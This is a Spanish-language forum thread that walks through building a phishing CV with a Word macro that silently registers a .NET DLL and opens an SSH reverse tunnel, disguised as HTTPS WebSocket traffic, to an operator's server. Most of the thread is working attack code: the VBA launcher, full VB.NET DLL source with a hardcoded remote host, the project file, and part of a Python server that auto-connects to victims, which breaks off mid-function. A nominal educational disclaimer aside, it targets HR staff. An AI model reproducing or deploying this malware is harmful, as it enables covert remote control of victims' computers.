elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  SSH Reverse Shell over HTTPs
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: SSH Reverse Shell over HTTPs  (Leído 139 veces)
Shyx

Desconectado Desconectado

Mensajes: 6



Ver Perfil
SSH Reverse Shell over HTTPs
« en: Hoy a las 00:47 »

Uno de los métodos más clásicos para obtener una reverse shell consiste en ejecutar un script de PowerShell en la máquina objetivo mientras el atacante mantiene un listener a la espera de conexión.
A día de hoy, este enfoque todavía puede funcionar en ciertos escenarios, pero la realidad es que cada vez genera más sospechas: los usuarios son más cautos y cualquier comportamiento mínimamente anómalo suele levantar alertas.

Por eso resulta interesante plantear una alternativa.
Partamos de una premisa bastante realista: muchas empresas están abiertas a recibir CVs de candidatos, y los departamentos de RRHH no suelen estar especialmente enfocados en seguridad informática.

¿Qué pasaría si ese CV, aparentemente legítimo, estuviera “preparado” para hacer algo más que presentarte como candidato?
Para sorpresa (o desgracia) de muchos, Microsoft Office sigue soportando a día de hoy VBA embebido en documentos como Word o Excel. Esto abre la puerta a un vector de ataque tan simple como efectivo: enviar un CV en formato Word aparentemente inofensivo y esperar a que alguien lo abra.

A partir de ahí, empieza la parte interesante.

Nota: Este proyecto tiene fines exclusivamente educativos y de investigación en el ámbito de la ciberseguridad. El autor no se hace responsable del uso indebido o malintencionado que pueda realizarse del mismo.

La idea no es la típica reverse shell ruidosa, sino algo bastante más elegante: establecer un túnel SSH inverso encapsulado dentro de tráfico WebSocket (WSS), de forma que toda la comunicación salga como si fuera tráfico HTTPS legítimo.

El flujo arranca en cuanto se abre el documento. La macro no hace nada especialmente complejo por sí misma, pero sí actúa como launcher:
   •   Registra una DLL .NET mediante RegAsm
   •   Invoca un método expuesto vía COM (StartDefault)

Este punto es clave: VBA se utiliza únicamente como puerta de entrada, mientras que toda la lógica real se delega en código .NET, mucho más flexible y potente.

Una vez dentro de la DLL, comienza el flujo principal:

1. Generación de clave SSH
Si no existe previamente, se crea un par de claves ed25519 en:
C:\ProgramData\SshReverseTunnel\ssh\
Esto permite autenticación sin contraseña y, además, introduce cierta persistencia, ya que la clave se reutiliza en ejecuciones posteriores.

2. Registro de la clave en el servidor
El cliente envía su clave pública a un endpoint:
/api/register-key
El servidor la añade a authorized_keys, permitiendo que ese cliente pueda autenticarse automáticamente contra su servicio SSH.

3. Creación del canal encubierto (WSS)
Aquí es donde la técnica se vuelve realmente interesante.
En lugar de conectar directamente por SSH al servidor remoto, el cliente levanta un listener local:
127.0.0.1:2222
Sin embargo, este puerto no es un servidor SSH real, sino un proxy TCP que encapsula el tráfico dentro de WebSocket seguro (WSS) hacia:
wss://mi-servidor.com/tunnel
(en un escenario real, típicamente asociado a un dominio dinámico)

El flujo real sería:
Código:
ssh.exe → localhost:2222 → WebSocket (WSS) → servidor → SSH real

4. Establecimiento del túnel SSH
Con el proxy en marcha, se lanza OpenSSH:
Código:
ssh -N -p 2222 -R 9000:127.0.0.1:22 usuario@127.0.0.1
Aquí está el truco:
•   -p 2222 → conecta contra el proxy local
•   El tráfico termina realmente en el SSH del servidor
•   Todo el canal SSH viaja encapsulado dentro de WSS
Una vez autenticado, se negocia el reverse tunnel:
Código:
-R 9000:127.0.0.1:22

Esto provoca que, en el servidor, se abra:
localhost:9000 → redirige al SSH de la víctima

5. Resultado final
Desde el lado del operador, el acceso es trivial:
Código:
ssh -p 9000 usuario@localhost
Y eso termina abriendo una sesión SSH directamente contra la máquina víctima, como si estuviera expuesta en la red local.

Muy bien, ¿y cuál sería entonces el procedimiento?
Lo primero sería redactar un CV falso (eso lo dejo a la imaginación del querido lector), y después sería necesario guardarlo como documento .docm.

En este documento guardamos nuestro launcher:

Código:
Option Explicit

Private Const DLL_NAME As String = "SshReverseTunnel.dll"
Private Const PROG_ID As String = "SshReverseTunnel.SshReverseTunnel"

Sub RegisterAndRun()
    Dim dllPath     As String
    Dim regAsmPath  As String
    Dim cmd         As String
    Dim rc          As Long
    Dim obj         As Object
    Dim sh          As Object
    Dim ex          As Object
    
    dllPath = ThisDocument.Path & "\" & DLL_NAME
    regAsmPath = GetRegAsmPath()
    
    If Dir(dllPath) = "" Then
        Exit Sub
    End If
    
    If Dir(regAsmPath) = "" Then
        Exit Sub
    End If
    
    Set sh = CreateObject("WScript.Shell")
    cmd = """" & regAsmPath & """ """ & dllPath & """ /codebase"
    Set ex = sh.Exec(cmd)
    
    Do While ex.Status = 0
        DoEvents
    Loop
    
    rc = ex.ExitCode
    If rc <> 0 Then
        Exit Sub
    End If
    
    Set obj = CreateObject(PROG_ID)
    If obj Is Nothing Then
        Exit Sub
    End If
    
    obj.StartDefault
    Exit Sub
End Sub

Function GetRegAsmPath() As String
    #If Win64 Then
        GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    #Else
        GetRegAsmPath = Environ$("WINDIR") & "\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    #End If
End Function

Este launcher actúa como puente entre el documento y una DLL externa. En un poco más de detalle:

1.Localiza recursos

Construye la ruta de la DLL (SshReverseTunnel.dll) en la misma carpeta del documento.
Obtiene la ruta de RegAsm.exe (según si el sistema es 32 o 64 bits).

2. Verifica que todo exista
Si no encuentra la DLL o RegAsm, se detiene sin hacer nada.

3. Registra la DLL como COM
Ejecuta RegAsm.exe con /codebase, lo que permite registrar la DLL directamente desde su ubicación actual.
Espera a que el proceso termine y comprueba que no haya errores.

4. Crea el objeto
Usa CreateObject("SshReverseTunnel.SshReverseTunnel") para instanciar la clase definida en la DLL.

5. Ejecuta la funcionalidad
Llama al método StartDefault, que es donde realmente está la lógica (en la DLL, no en la macro).
« Última modificación: Hoy a las 01:04 por Shyx » En línea

Shyx

Desconectado Desconectado

Mensajes: 6



Ver Perfil
Re: SSH Reverse Shell over HTTPs
« Respuesta #1 en: Hoy a las 00:50 »

El código de la DLL SshReverseTunnel.vb

Código:
Imports System
Imports System.Collections.Concurrent
Imports System.Diagnostics
Imports System.IO
Imports System.Net
Imports System.Net.Sockets
Imports System.Net.WebSockets
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Threading
Imports System.Threading.Tasks

<ComVisible(True)>
<Guid("D1C05C4F-66EB-449B-9035-EFA476788414")>
<ProgId("SshReverseTunnel.SshReverseTunnel")>
<ClassInterface(ClassInterfaceType.AutoDual)>
Public Class SshReverseTunnel
    Implements IDisposable

    ' ===== HARDCODED CONFIGURATION =====

    ' Remote WebSocket Secure endpoint used by the local bridge.
    Private Const DEFAULT_WSS_URL As String = "wss://mi-servidor.com/tunnel"

    ' HTTPS endpoint used to register the generated SSH public key.
    Private Const DEFAULT_REGISTER_KEY_URL As String = "https://mi-servidor.com/api/register-key"

    ' SSH user on the remote server.
    Private Const DEFAULT_SSH_USER As String = "ubuntu"

    ' Remote port opened on the SSH server through reverse forwarding.
    Private Const DEFAULT_REVERSE_PORT As Integer = 9000

    ' Local SSH service that will be exposed through the reverse tunnel.
    Private Const DEFAULT_CLIENT_HOST As String = "127.0.0.1"
    Private Const DEFAULT_CLIENT_PORT As Integer = 22

    ' Local TCP port used by ssh.exe to connect into the WebSocket bridge.
    Private Const DEFAULT_LOCAL_TUNNEL_PORT As Integer = 2222

    ' Automatically generated SSH private key path.
    Private Const DEFAULT_IDENTITY_FILE As String = "C:\ProgramData\SshReverseTunnel\ssh\id_ed25519"

    ' Optional token used for both WSS and public key registration.
    Private Const DEFAULT_BEARER_TOKEN As String = ""

    Private _listener As TcpListener
    Private _cts As CancellationTokenSource
    Private _acceptTask As Task
    Private _sshProcess As Process

    Private _running As Boolean = False
    Private _lastError As String = ""

    Private _remoteWssUrl As String = ""
    Private _bearerToken As String = ""

    Private ReadOnly _clients As New ConcurrentBag(Of TcpClient)
    Private ReadOnly _clientTasks As New ConcurrentBag(Of Task)

    ''' <summary>
    ''' Starts the reverse SSH tunnel using predefined configuration values.
    ''' </summary>
    Public Function StartDefault() As Boolean
        Return StartReverseSsh(
        DEFAULT_WSS_URL,
        DEFAULT_REGISTER_KEY_URL,
        DEFAULT_SSH_USER,
        DEFAULT_REVERSE_PORT,
        DEFAULT_CLIENT_HOST,
        DEFAULT_CLIENT_PORT,
        DEFAULT_LOCAL_TUNNEL_PORT,
        DEFAULT_BEARER_TOKEN,
        DEFAULT_IDENTITY_FILE
        )
    End Function

    ''' <summary>
    ''' Starts the full automatic reverse SSH tunnel flow.
    ''' The method generates an SSH key if needed, registers the public key,
    ''' starts the local WSS bridge, and launches OpenSSH in non-interactive mode.
    ''' </summary>
    Public Function StartReverseSsh(
        ByVal remoteWssUrl As String,
        ByVal registerKeyUrl As String,
        ByVal sshServerUser As String,
        ByVal reversePortOnServer As Integer,
        Optional ByVal clientSshHost As String = "127.0.0.1",
        Optional ByVal clientSshPort As Integer = 22,
        Optional ByVal localTunnelPort As Integer = 2222,
        Optional ByVal bearerToken As String = "",
        Optional ByVal identityFile As String = ""
        ) As Boolean

        Try
            If _running Then
                _lastError = "Already running"
                Return False
            End If

            If String.IsNullOrWhiteSpace(identityFile) Then
                identityFile = DEFAULT_IDENTITY_FILE
            End If

            ' Ensure that the client has a local SSH key pair.
            If Not EnsureSshKey(identityFile) Then
                Return False
            End If

            ' Register the generated public key with the server.
            ' The server endpoint should be idempotent and ignore duplicates.
            If Not RegisterPublicKey(registerKeyUrl, identityFile & ".pub", bearerToken) Then
                Return False
            End If

            ' Start local TCP listener that bridges traffic into the remote WSS endpoint.
            If Not StartLocalWssTunnel(remoteWssUrl, localTunnelPort, bearerToken) Then
                Return False
            End If

            ' Launch OpenSSH reverse tunnel using the generated private key.
            If Not LaunchOpenSshReverseTunnel(
            sshServerUser,
            reversePortOnServer,
            clientSshHost,
            clientSshPort,
            localTunnelPort,
            identityFile
            ) Then
                StopReverseSsh()
                Return False
            End If

            _running = True
            Return True

        Catch ex As Exception
            _lastError = ex.Message
            StopReverseSsh()
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Generates an Ed25519 SSH key pair if it does not already exist.
    ''' The generated private key is stored locally and reused on future runs.
    ''' </summary>
    Private Function EnsureSshKey(ByVal identityFile As String) As Boolean
        Try
            Dim dir As String = Path.GetDirectoryName(identityFile)

            If String.IsNullOrWhiteSpace(dir) Then
                _lastError = "Invalid identity file path"
                Return False
            End If

            If Not Directory.Exists(dir) Then
                Directory.CreateDirectory(dir)
            End If

            If File.Exists(identityFile) AndAlso File.Exists(identityFile & ".pub") Then
                Return True
            End If

            Dim psi As New ProcessStartInfo()
            psi.FileName = "ssh-keygen.exe"
            psi.Arguments = "-t ed25519 -N """" -f " & Quote(identityFile)
            psi.UseShellExecute = False
            psi.CreateNoWindow = True
            psi.RedirectStandardOutput = True
            psi.RedirectStandardError = True

            Using p As Process = Process.Start(psi)
                p.WaitForExit()

                If p.ExitCode <> 0 Then
                    _lastError = p.StandardError.ReadToEnd()
                    Return False
                End If
            End Using

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Sends the generated SSH public key to the server registration endpoint.
    ''' The server should validate the request, avoid duplicates, and append the key
    ''' to the appropriate authorized_keys file.
    ''' </summary>
    Private Function RegisterPublicKey(
    ByVal registerKeyUrl As String,
    ByVal publicKeyPath As String,
    ByVal bearerToken As String
    ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(registerKeyUrl) Then
                _lastError = "Register key URL is empty"
                Return False
            End If

            If Not registerKeyUrl.StartsWith("http://", StringComparison.OrdinalIgnoreCase) AndAlso
           Not registerKeyUrl.StartsWith("https://", StringComparison.OrdinalIgnoreCase) Then
                _lastError = "Register key URL must start with http:// or https://"
                Return False
            End If

            If Not File.Exists(publicKeyPath) Then
                _lastError = "Public key file was not found"
                Return False
            End If

            Dim publicKey As String = File.ReadAllText(publicKeyPath).Trim()

            If String.IsNullOrWhiteSpace(publicKey) Then
                _lastError = "Public key is empty"
                Return False
            End If

            ' La API espera public_key como parámetro query, no como JSON
            Dim separator As String = If(registerKeyUrl.Contains("?"), "&", "?")
            Dim finalUrl As String =
            registerKeyUrl & separator & "public_key=" & Uri.EscapeDataString(publicKey)

            Dim request As HttpWebRequest =
            CType(WebRequest.Create(finalUrl), HttpWebRequest)

            request.Method = "POST"
            request.ContentLength = 0
            request.UserAgent = "SshReverseTunnelClient/1.0"
            request.Timeout = 15000
            request.ReadWriteTimeout = 15000

            If Not String.IsNullOrWhiteSpace(bearerToken) Then
                request.Headers.Set("Authorization", "Bearer " & bearerToken)
            End If

            Using response = CType(request.GetResponse(), HttpWebResponse)
                If response.StatusCode = HttpStatusCode.OK OrElse
               response.StatusCode = HttpStatusCode.Created OrElse
               response.StatusCode = HttpStatusCode.NoContent Then
                    Return True
                End If

                _lastError = "Public key registration failed: " & response.StatusCode.ToString()
                Return False
            End Using

        Catch ex As WebException
            If ex.Response IsNot Nothing Then
                Try
                    Using response = CType(ex.Response, HttpWebResponse)
                        Dim responseBody As String = ""

                        Using reader As New StreamReader(response.GetResponseStream())
                            responseBody = reader.ReadToEnd()
                        End Using

                        _lastError = "Public key registration failed: HTTP " &
                        CInt(response.StatusCode).ToString() & " " &
                        response.StatusDescription & " - " & responseBody
                    End Using
                Catch
                    _lastError = ex.Message
                End Try
            Else
                _lastError = ex.Message
            End If

            Return False

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Starts a local TCP listener that forwards incoming traffic to the remote WSS server.
    ''' </summary>
    Private Function StartLocalWssTunnel(
        ByVal remoteWssUrl As String,
        ByVal localPort As Integer,
        ByVal bearerToken As String
        ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(remoteWssUrl) Then
                _lastError = "Remote WSS URL Is empty"
                Return False
            End If

            If Not remoteWssUrl.StartsWith("ws://", StringComparison.OrdinalIgnoreCase) AndAlso
                Not remoteWssUrl.StartsWith("wss://", StringComparison.OrdinalIgnoreCase) Then
                _lastError = "Remote URL must start with ws:// or wss://"
                Return False
            End If

            If localPort <= 0 OrElse localPort > 65535 Then
                _lastError = "Invalid local tunnel port"
                Return False
            End If

            _remoteWssUrl = remoteWssUrl
            _bearerToken = bearerToken

            _cts = New CancellationTokenSource()

            _listener = New TcpListener(IPAddress.Loopback, localPort)
            _listener.Start()

            _acceptTask = Task.Run(Function() AcceptLoopAsync(_cts.Token))

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Launches ssh.exe with reverse port forwarding enabled.
    ''' BatchMode disables password prompts, making execution fully non-interactive.
    ''' </summary>
    Private Function LaunchOpenSshReverseTunnel(
        ByVal sshServerUser As String,
        ByVal reversePortOnServer As Integer,
        ByVal clientSshHost As String,
        ByVal clientSshPort As Integer,
        ByVal localTunnelPort As Integer,
        ByVal identityFile As String
        ) As Boolean

        Try
            If String.IsNullOrWhiteSpace(sshServerUser) Then
                _lastError = "SSH server user Is empty"
                Return False
            End If

            If reversePortOnServer <= 0 OrElse reversePortOnServer > 65535 Then
                _lastError = "Invalid reverse port On server"
                Return False
            End If

            If clientSshPort <= 0 OrElse clientSshPort > 65535 Then
                _lastError = "Invalid client SSH port"
                Return False
            End If

            If localTunnelPort <= 0 OrElse localTunnelPort > 65535 Then
                _lastError = "Invalid local tunnel port"
                Return False
            End If

            If String.IsNullOrWhiteSpace(identityFile) OrElse Not File.Exists(identityFile) Then
                _lastError = "SSH identity file was Not found"
                Return False
            End If

            Dim sshPath As String = FindWindowsOpenSsh()

            If String.IsNullOrWhiteSpace(sshPath) Then
                _lastError = "OpenSSH executable was Not found"
                Return False
            End If

            Dim args As String =
            "-N " &
            "-o BatchMode=yes " &
            "-o ExitOnForwardFailure=yes " &
            "-o StrictHostKeyChecking=accept-new " &
            "-o ServerAliveInterval=30 " &
            "-o ServerAliveCountMax=3 " &
            "-p " & localTunnelPort.ToString() & " " &
            "-i " & Quote(identityFile) & " " &
            "-R " & reversePortOnServer.ToString() & ":" &
            clientSshHost & ":" & clientSshPort.ToString() & " " &
            Quote(sshServerUser & "@127.0.0.1")

            Dim psi As New ProcessStartInfo()
            psi.FileName = sshPath
            psi.Arguments = args
            psi.UseShellExecute = False
            psi.CreateNoWindow = True
            psi.WindowStyle = ProcessWindowStyle.Hidden
            psi.RedirectStandardOutput = True
            psi.RedirectStandardError = True

            _sshProcess = New Process()
            _sshProcess.StartInfo = psi
            _sshProcess.EnableRaisingEvents = True

            AddHandler _sshProcess.ErrorDataReceived,
            Sub(sender, e)
                If Not String.IsNullOrWhiteSpace(e.Data) Then
                    _lastError = "[SSH STDERR] " & e.Data
                End If
            End Sub

            AddHandler _sshProcess.OutputDataReceived,
            Sub(sender, e)
                If Not String.IsNullOrWhiteSpace(e.Data) Then
                    _lastError = "[SSH STDOUT] " & e.Data
                End If
            End Sub

            AddHandler _sshProcess.Exited,
            Sub(sender, e)
                _running = False
            End Sub

            _sshProcess.Start()
            _sshProcess.BeginErrorReadLine()
            _sshProcess.BeginOutputReadLine()

            Return True

        Catch ex As Exception
            _lastError = ex.Message
            Return False
        End Try
    End Function

    ''' <summary>
    ''' Accepts local TCP clients and creates an independent WebSocket bridge for each one.
    ''' </summary>
    Private Async Function AcceptLoopAsync(ByVal token As CancellationToken) As Task
        While Not token.IsCancellationRequested
            Try
                Dim client As TcpClient =
                Await _listener.AcceptTcpClientAsync().ConfigureAwait(False)

                _clients.Add(client)

                Dim clientTask As Task = HandleClientAsync(client, token)
                _clientTasks.Add(clientTask)

            Catch ex As ObjectDisposedException
                Exit While

            Catch ex As Exception
                If Not token.IsCancellationRequested Then
                    _lastError = ex.Message
                End If

                Exit While
            End Try
        End While
    End Function

    ''' <summary>
    ''' Bridges a single TCP client connection to a remote WebSocket connection.
    ''' </summary>
    Private Async Function HandleClientAsync(
    ByVal client As TcpClient,
    ByVal token As CancellationToken
    ) As Task

        Using client
            Using ws As New ClientWebSocket()
                Try
                    If Not String.IsNullOrWhiteSpace(_bearerToken) Then
                        ws.Options.SetRequestHeader("Authorization", "Bearer " & _bearerToken)
                    End If

                    Await ws.ConnectAsync(New Uri(_remoteWssUrl), token).ConfigureAwait(False)

                    Using stream As NetworkStream = client.GetStream()
                        Dim t1 As Task = PumpTcpToWebSocketAsync(stream, ws, token)
                        Dim t2 As Task = PumpWebSocketToTcpAsync(ws, stream, token)

                        Await Task.WhenAny(t1, t2).ConfigureAwait(False)
                    End Using

                Catch ex As OperationCanceledException
                    ' Expected during shutdown.

                Catch ex As Exception
                    _lastError = ex.Message

                Finally
                    CloseWebSocketQuietly(ws)
                End Try
            End Using
        End Using
    End Function

    ''' <summary>
    ''' Forwards bytes from the TCP stream to the WebSocket connection.
    ''' </summary>
    Private Async Function PumpTcpToWebSocketAsync(
    ByVal stream As NetworkStream,
    ByVal ws As ClientWebSocket,
    ByVal token As CancellationToken
    ) As Task

        Dim buffer(32767) As Byte

        While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested
            Dim read As Integer =
            Await stream.ReadAsync(buffer, 0, buffer.Length, token).ConfigureAwait(False)

            If read <= 0 Then
                Exit While
            End If

            Await ws.SendAsync(
            New ArraySegment(Of Byte)(buffer, 0, read),
            WebSocketMessageType.Binary,
            True,
            token
            ).ConfigureAwait(False)
        End While
    End Function

    ''' <summary>
    ''' Forwards bytes from the WebSocket connection back to the TCP stream.
    ''' </summary>
    Private Async Function PumpWebSocketToTcpAsync(
    ByVal ws As ClientWebSocket,
    ByVal stream As NetworkStream,
    ByVal token As CancellationToken
    ) As Task

        Dim buffer(32767) As Byte

        While ws.State = WebSocketState.Open AndAlso Not token.IsCancellationRequested
            Dim result As WebSocketReceiveResult =
            Await ws.ReceiveAsync(
            New ArraySegment(Of Byte)(buffer),
            token
            ).ConfigureAwait(False)

            If result.MessageType = WebSocketMessageType.Close Then
                Exit While
            End If

            If result.Count > 0 Then
                Await stream.WriteAsync(buffer, 0, result.Count, token).ConfigureAwait(False)
                Await stream.FlushAsync(token).ConfigureAwait(False)
            End If
        End While
    End Function

    ''' <summary>
    ''' Attempts to close the WebSocket gracefully without throwing shutdown exceptions.
    ''' </summary>
    Private Sub CloseWebSocketQuietly(ByVal ws As ClientWebSocket)
        Try
            If ws IsNot Nothing AndAlso ws.State = WebSocketState.Open Then
                ws.CloseAsync(
                WebSocketCloseStatus.NormalClosure,
                "Closing",
                CancellationToken.None
                ).Wait(2000)
            End If
        Catch
        End Try
    End Sub

    ''' <summary>
    ''' Stops the SSH process, local listener, active clients, and async operations.
    ''' </summary>
    Public Sub StopReverseSsh()
        Try
            _running = False

            If _cts IsNot Nothing Then
                Try
                    _cts.Cancel()
                Catch
                End Try
            End If

            If _sshProcess IsNot Nothing Then
                Try
                    If Not _sshProcess.HasExited Then
                        _sshProcess.Kill()
                    End If
                Catch
                End Try

                Try
                    _sshProcess.Dispose()
                Catch
                End Try

                _sshProcess = Nothing
            End If

            If _listener IsNot Nothing Then
                Try
                    _listener.Stop()
                Catch
                End Try

                _listener = Nothing
            End If

            For Each c As TcpClient In _clients
                Try
                    c.Close()
                Catch
                End Try
            Next

        Catch ex As Exception
            _lastError = ex.Message
        End Try
    End Sub

    ''' <summary>
    ''' Returns whether the tunnel is currently running.
    ''' </summary>
    Public Function IsRunning() As Boolean
        Return _running
    End Function

    ''' <summary>
    ''' Returns the last captured error message.
    ''' </summary>
    Public Function LastError() As String
        Return _lastError
    End Function

    ''' <summary>
    ''' Returns the OpenSSH executable name.
    ''' Windows resolves ssh.exe from PATH if OpenSSH Client is installed.
    ''' </summary>
    Private Function FindWindowsOpenSsh() As String
        Dim windowsSsh As String =
        Path.Combine(
        Environment.GetFolderPath(Environment.SpecialFolder.Windows),
        "System32\OpenSSH\ssh.exe"
        )

        If File.Exists(windowsSsh) Then
            Return windowsSsh
        End If

        Return "ssh.exe"
    End Function

    ''' <summary>
    ''' Quotes a command-line argument and escapes embedded quotation marks.
    ''' </summary>
    Private Function Quote(ByVal v As String) As String
        If v Is Nothing Then
            Return """"""
        End If

        Return """" & v.Replace("""", """""") & """"
    End Function

    ''' <summary>
    ''' Disposes the tunnel and releases all related resources.
    ''' </summary>
    Public Sub Dispose() Implements IDisposable.Dispose
        StopReverseSsh()

        If _acceptTask IsNot Nothing Then
            Try
                _acceptTask.Wait(2000)
            Catch
            End Try
        End If

        If _cts IsNot Nothing Then
            Try
                _cts.Dispose()
            Catch
            End Try

            _cts = Nothing
        End If
    End Sub

End Class

La configuración del proyecto SshReverseTunnel.vbproj

Código:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <!-- CONFIG -->
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">x64</Platform>
    <ProjectGuid>{4A7328F2-CD36-473F-849A-12C3CE13DCD7}</ProjectGuid>
    <OutputType>Library</OutputType>
    <RootNamespace>SshReverseTunnel</RootNamespace>
    <AssemblyName>SshReverseTunnel</AssemblyName>
    <FileAlignment>512</FileAlignment>
    <MyType>Windows</MyType>
    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
    <Deterministic>true</Deterministic>
    <RegisterForComInterop>true</RegisterForComInterop>
  </PropertyGroup>
  <!-- DEBUG -->
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x64' ">
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <DefineDebug>true</DefineDebug>
    <DefineTrace>true</DefineTrace>
    <OutputPath>bin\Debug\</OutputPath>
    <DocumentationFile>SshReverseTunnel.xml</DocumentationFile>
    <PlatformTarget>x64</PlatformTarget>
    <RegisterForComInterop>true</RegisterForComInterop>
    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
  </PropertyGroup>
  <!-- RELEASE -->
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x64' ">
    <DebugType>pdbonly</DebugType>
    <DefineDebug>false</DefineDebug>
    <DefineTrace>true</DefineTrace>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DocumentationFile>SshReverseTunnel.xml</DocumentationFile>
    <PlatformTarget>x64</PlatformTarget>
    <RegisterForComInterop>true</RegisterForComInterop>
    <NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
  </PropertyGroup>
  <!-- VB OPTIONS -->
  <PropertyGroup>
    <OptionExplicit>On</OptionExplicit>
    <OptionCompare>Binary</OptionCompare>
    <OptionStrict>Off</OptionStrict>
    <OptionInfer>On</OptionInfer>
  </PropertyGroup>
  <!-- REFERENCES -->
  <ItemGroup>
    <Reference Include="System" />
    <Reference Include="System.Data" />
    <Reference Include="System.Xml" />
    <Reference Include="System.Core" />
    <Reference Include="System.Xml.Linq" />
    <Reference Include="System.Data.DataSetExtensions" />
    <Reference Include="System.Net.Http" />
  </ItemGroup>
  <!-- IMPORTS -->
  <ItemGroup>
    <Import Include="Microsoft.VisualBasic" />
    <Import Include="System" />
    <Import Include="System.Collections" />
    <Import Include="System.Collections.Generic" />
    <Import Include="System.Data" />
    <Import Include="System.Diagnostics" />
    <Import Include="System.Linq" />
    <Import Include="System.Xml.Linq" />
    <Import Include="System.Threading.Tasks" />
  </ItemGroup>
  <!-- CODE -->
  <ItemGroup>
    <Compile Include="SshReverseTunnel.vb" />
    <Compile Include="My Project\AssemblyInfo.vb" />
    <Compile Include="My Project\Application.Designer.vb">
      <AutoGen>True</AutoGen>
      <DependentUpon>Application.myapp</DependentUpon>
      <DesignTime>True</DesignTime>
    </Compile>
    <Compile Include="My Project\Resources.Designer.vb">
      <AutoGen>True</AutoGen>
      <DesignTime>True</DesignTime>
      <DependentUpon>Resources.resx</DependentUpon>
    </Compile>
    <Compile Include="My Project\Settings.Designer.vb">
      <AutoGen>True</AutoGen>
      <DependentUpon>Settings.settings</DependentUpon>
      <DesignTimeSharedInput>True</DesignTimeSharedInput>
    </Compile>
  </ItemGroup>
  <!-- RESOURCES -->
  <ItemGroup>
    <EmbeddedResource Include="My Project\Resources.resx">
      <Generator>VbMyResourcesResXFileCodeGenerator</Generator>
      <LastGenOutput>Resources.Designer.vb</LastGenOutput>
      <CustomToolNamespace>My.Resources</CustomToolNamespace>
      <SubType>Designer</SubType>
    </EmbeddedResource>
  </ItemGroup>
  <!-- OTHER -->
  <ItemGroup>
    <None Include="My Project\Application.myapp">
      <Generator>MyApplicationCodeGenerator</Generator>
      <LastGenOutput>Application.Designer.vb</LastGenOutput>
    </None>
    <None Include="My Project\Settings.settings">
      <Generator>SettingsSingleFileGenerator</Generator>
      <CustomToolNamespace>My</CustomToolNamespace>
      <LastGenOutput>Settings.Designer.vb</LastGenOutput>
    </None>
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
</Project>
En línea

Shyx

Desconectado Desconectado

Mensajes: 6



Ver Perfil
Re: SSH Reverse Shell over HTTPs
« Respuesta #2 en: Hoy a las 00:54 »

Y finalmente el código de nuestro servidor, que estará a la espera de la conexión del cliente e iniciará una sesión SSH tan rápido como entre la primera conexión.

SshReverseTunnel_Server.py

Código:
"""
SSH Reverse Tunnel Server
"""

import asyncio
import logging
import os
import subprocess
from pathlib import Path
from typing import Optional, Dict
import uuid

import uvicorn
from fastapi import FastAPI, WebSocket, HTTPException, Header
from fastapi.responses import JSONResponse

app = FastAPI(title="SSH Reverse Tunnel Server")

# ====================== CONFIGURATION ======================
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s"
)
logger = logging.getLogger("ssh-tunnel")

SSH_HOST: str = "127.0.0.1"
SSH_PORT: int = 22
REVERSE_PORT: int = 9000
SSH_USER: str = "ubuntu"

BEARER_TOKEN: str = os.getenv("BEARER_TOKEN", "")
BUFFER_SIZE = 32768

active_tunnels: Dict[str, dict] = {}


def start_auto_ssh_session(tunnel_id: str):
    """Start SSH session automatically when client connects"""
    try:
        cmd = f'start "" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -p {REVERSE_PORT} {SSH_USER}@127.0.0.1'
        subprocess.Popen(cmd, shell=True)
        logger.info(f"Auto SSH session started for tunnel {tunnel_id}")
        return True
    except Exception as e:
        logger.error(f"Failed to start SSH session: {e}")
        return False


async def bridge_websocket_to_ssh(websocket: WebSocket, tunnel_id: str):
    reader = writer = None
    try:
        active_tunnels[tunnel_id] = {"status": "connected", "client": str(websocket.client)}
        logger.info(f"Client connected: {tunnel_id}")

        start_auto_ssh_session(tunnel_id)

        reader, writer = await asyncio.open_connection(SSH_HOST, SSH_PORT)

        async def ws_to_ssh():
            while True:
                data = await websocket.receive_bytes()
                if not data: break
                writer.write(data)
                await writer.drain()

        async def ssh_to_ws():
            while True:
                data = await reader.read(BUFFER_SIZE)
                if not data: break
                await websocket.send_bytes(data)

        await asyncio.gather(ws_to_ssh(), ssh_to_ws(), return_exceptions=True)

    finally:
        if tunnel_id in active_tunnels:
            del active_tunnels[tunnel_id]
        if writer:
            try:
                writer.close()
                await writer.wait_closed()
            except:
                pass


@app.post("/api/register-key")
async def register_key(public_key: str, authorization: Optional[str] = Header(None)):
